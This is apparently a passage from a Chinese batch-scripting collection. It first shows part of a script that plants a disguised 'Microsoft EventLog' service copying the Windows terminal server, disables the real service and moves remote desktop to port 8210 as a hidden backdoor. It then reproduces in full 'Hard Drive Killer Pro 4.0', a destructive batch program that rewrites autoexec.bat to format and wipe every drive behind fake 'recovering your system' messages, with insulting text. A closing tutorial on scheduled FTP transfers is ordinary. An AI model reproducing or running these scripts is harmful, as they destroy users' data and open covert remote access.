@echo "ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00, >>patch.dll
@echo 74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,65, >>patch.dll
@echo 00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78,00,65,00,00,00 >>patch.dll
@echo "ObjectName"="LocalSystem" >>patch.dll
@echo "Type"=dword:00000010 >>patch.dll
@echo "Descr1ption"="Keep record of the program and windows‘ message。" >>patch.dll
@echo "DisplayName"="Microsoft EventLog" >>patch.dll
@echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicestermservice] >>patch.dll
@echo "Start"=dword:00000004 >>patch.dll
@copy c:winntsystem32termsrv.exe c:winntsystem32eventlog.exe
@REM [修改3389連接，端口為8210(十六進(jìn)制為00002012)，名稱(chēng)為Microsoft EventLog，留條后路]
3.Hard Drive Killer Pro Version 4.0（玩批處理到這個(gè)水平真的不容易了。）
------------------------ cut here then save as .bat or .cmd file ---------------------------
@echo off
rem This program is dedecated to a very special person that does not want to be named.
:start
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
call attrib -r -h c:autoexec.bat >nul
echo @echo off >c:autoexec.bat
echo call format c: /q /u /autoSample >nul >>c:autoexec.bat
call attrib +r +h c:autoexec.bat >nul
rem Drive checking and assigning the valid drives to the drive variable.
set drive=
set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z
rem code insertion for Drive Checking takes place here.
rem drivechk.bat is the file name under the root directory.
rem As far as the drive detection and drive variable settings, don‘t worry about how it
rem works, it‘s d*amn to complicated for the average or even the expert batch programmer.
rem Except for Tom Lavedas.
echo @echo off >drivechk.bat
echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "Vol" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc >>drivechk.bat
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
rem When errorlevel is 1, then the above is not true, if 0, then it‘s true.
rem Opposite of binary rules. If 0, it will elaps to the next command.
echo @prompt %%%%comspec%%%% /f /c dir %%%%1:./ad/w/-p $b find "bytes" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc >>drivechk.bat
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
rem if errorlevel is 1, then the drive specified is a removable media drive - not ready.
rem if errorlevel is 0, then it will elaps to the next command.
echo @prompt dir %%%%1:./ad/w/-p $b find " 0 bytes free" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
rem if it‘s errorlevel 1, then the specified drive is a hard or floppy drive.
rem if it‘s not errorlevel 1, then the specified drive is a CD-ROM drive.
echo :enddc >>drivechk.bat
rem Drive checking insertion ends here. "enddc" stands for "end dDRIVE cHECKING".
rem Now we will use the program drivechk.bat to attain valid drive information.
:Sampledrv
for %%a in (%alldrive%) do call drivechk.bat %%a >nul
del drivechk.bat >nul
if %drive.==. set drive=c
:form_del
call attrib -r -h c:autoexec.bat >nul
echo @echo off >c:autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:autoexec.bat
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:autoexec.bat
echo cls >>c:autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:autoexec.bat
echo for %%%%a in (%drive%) do call c:temp.bat %%%%a Bunga >nul >>c:autoexec.bat
echo cls >>c:autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:autoexec.bat
echo for %%%%a in (%drive%) call deltree /y %%%%a: >nul >>c:autoexec.bat
echo cls >>c:autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:autoexec.bat
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:autoexec.bat
echo cls >>c:autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:autoexec.bat
echo for %%%%a in (%drive%) do call c:temp.bat %%%%a Bunga >nul >>c:autoexec.bat
echo cls >>c:autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:autoexec.bat
echo for %%%%a in (%drive%) call deltree /y %%%%a: >nul >>c:autoexec.bat
echo cd >>c:autoexec.bat
echo cls >>c:autoexec.bat
echo echo Welcome to the land of death. Munga Bunga‘s Multiple Hard Drive Killer version 4.0. >>c:autoexec.bat
echo echo If you ran this file, then sorry, I just made it. The purposeof this program is to tell you the following. . . >>c:autoexec.bat
echo echo 1. To make people aware that security should not be taken for granted. >>c:autoexec.bat
echo echo 2. Love is important, if you have it, truly, don‘t let go of it like I did! >>c:autoexec.bat
echo echo 3. If you are NOT a vegetarian, then you are a murderer, and I‘m glad your HD is dead. >>c:autoexec.bat
echo echo 4. Don‘t support the following: War, Racism, Drugs and the Liberal Party.>>c:autoexec.bat
echo echo. >>c:autoexec.bat
echo echo Regards, >>c:autoexec.bat
echo echo. >>c:autoexec.bat
echo echo Munga Bunga >>c:autoexec.bat
call attrib +r +h c:autoexec.bat
:makedir
if exist c:temp.bat attrib -r -h c:temp.bat >nul
echo @echo off >c:temp.bat
echo %%1: >>c:temp.bat
echo cd >>c:temp.bat
echo :star** >>c:temp.bat
echo for %%%%a in ("if not exist %%2nul md %%2" "if exist %%2nul cd %%2") do %%%%a >>c:temp.bat
echo for %%%%a in (">ass_hole.txt") do echo %%%%a Your Gone @$$hole!!!! >>c:temp.bat
echo if not exist%%1:%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2nulgoto star** >>c:temp.bat
call attrib +r +h c:temp.bat >nul
cls
echo Initializing Variables . . .
rem deltree /y %%a:*. only eliminates directories, hence leaving the file created above for further destruction.
for %%a in (%drive%) do call format %%a: /q /u /autoSample >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
for %%a in (%drive%) do call c:temp.bat %%a Munga >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
for %%a in (%drive%) call attrib -r -h %%a: /S >nul
call attrib +r +h c:temp.bat >nul
call attrib +r +h c:autoexec.bat >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
echo Initializing Application . . .
for %%a in (%drive%) call deltree /y %%a:*. >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
echo Initializing Application . . .
echo Starting Application . . .
for %%a in (%drive%) do call c:temp.bat %%a Munga >nul
cls
echo Thank you for using a Munga Bunga product.
echo.
echo Oh and, Bill Gates rules, and he is not a geek, he is a good looking genius.
echo.
echo Here is a joke for you . . .
echo.
echo Q). What‘s the worst thing about being an egg?
echo A). You only get laid once.
echo.
echo HAHAHAHA, get it? Don‘t you just love that one?
echo.
echo Regards,
echo.
echo Munga Bunga
:end
rem Hard Drive Killer Pro Version 4.0, enjoy!!!!
rem Author: Munga Bunga - from Australia, the land full of retarded Australian‘s (help me get out of here).
用批處理命令實(shí)現FTP文件的自動(dòng)傳輸
由于工作的原因，每天需要在Windows操作系統之間或與其它操作系統如UNIX等利用FTP進(jìn)行文件傳輸。經(jīng)常重復這樣的工作程序，即繁瑣又容易出錯。本人經(jīng)過(guò)思考摸索，在Windows操作系統的“任務(wù)計劃”幫助下，成功地用批處理命令實(shí)現FTP文件的自動(dòng)傳輸?，F將此操作過(guò)程詳解，希望對同好有所幫助，更望能拋磚引玉，提出更好的方法。
假設本機操作系統為Windows操作系統，需進(jìn)行文件傳輸的目錄為C:＼datatran；對方計算機操作系統為UNIX操作系統，IP地址為10.30.15.3，需進(jìn)行文件傳輸的目錄為C:＼data，登錄用戶(hù)名為Anonymous，口令為123456。從本機到對方機接收文件操作方法如下。
第一步，先新建一個(gè)文本：
Open 10.31.15.3
User anonymous
123456
Cd data
Bin
Prompt
Mget *.*
Bye
Quit
Exit
將該文本保存為1.ftp存放到C盤(pán)根目錄。該文件只要擴展名為ftp，前綴可任意取名。目錄也不一定要在根目錄，主要以方便為主。文本中Bin為用黑吧碼格式傳輸文件，如用ASCII碼格式傳輸文件可去掉該行。如為本機向對方機發(fā)送文件，則只要將文本中的Mget替換成Mput即可。這之后，再新建另一個(gè)文本：
C:
Cd datatran
ftp–n–s:”c:＼1.ftp”
新建完畢后將該文本保存為1.bat后存放在硬盤(pán)任何分區或軟盤(pán)中均可。這樣，第一步工作已經(jīng)完成，您隨時(shí)可以執行該批處理文件進(jìn)行FTP文件的傳輸。
第二步，將該該批處理文件放在“任務(wù)計劃”中設定自動(dòng)運行。方法是：打開(kāi)“開(kāi)始”菜單“程序”下“附件”中的“系統工具”，點(diǎn)擊“任務(wù)計劃”，執行“添加任務(wù)計劃”，按“任務(wù)計劃向導”提示將該批處理文件添加到任務(wù)計劃中，并指定執行周期，之后再設下密碼后即完成。從此，計算機會(huì )根據您的設定，自動(dòng)周期性地進(jìn)行文件接收或發(fā)送，不再需要您動(dòng)一下手指，真正做到它工作，您休息。
另外，如果是Windows操作系統之間進(jìn)行FTP進(jìn)行文件傳輸，只要去掉1.ftp中“Bin”一行就可以了。
聯(lián)系客服
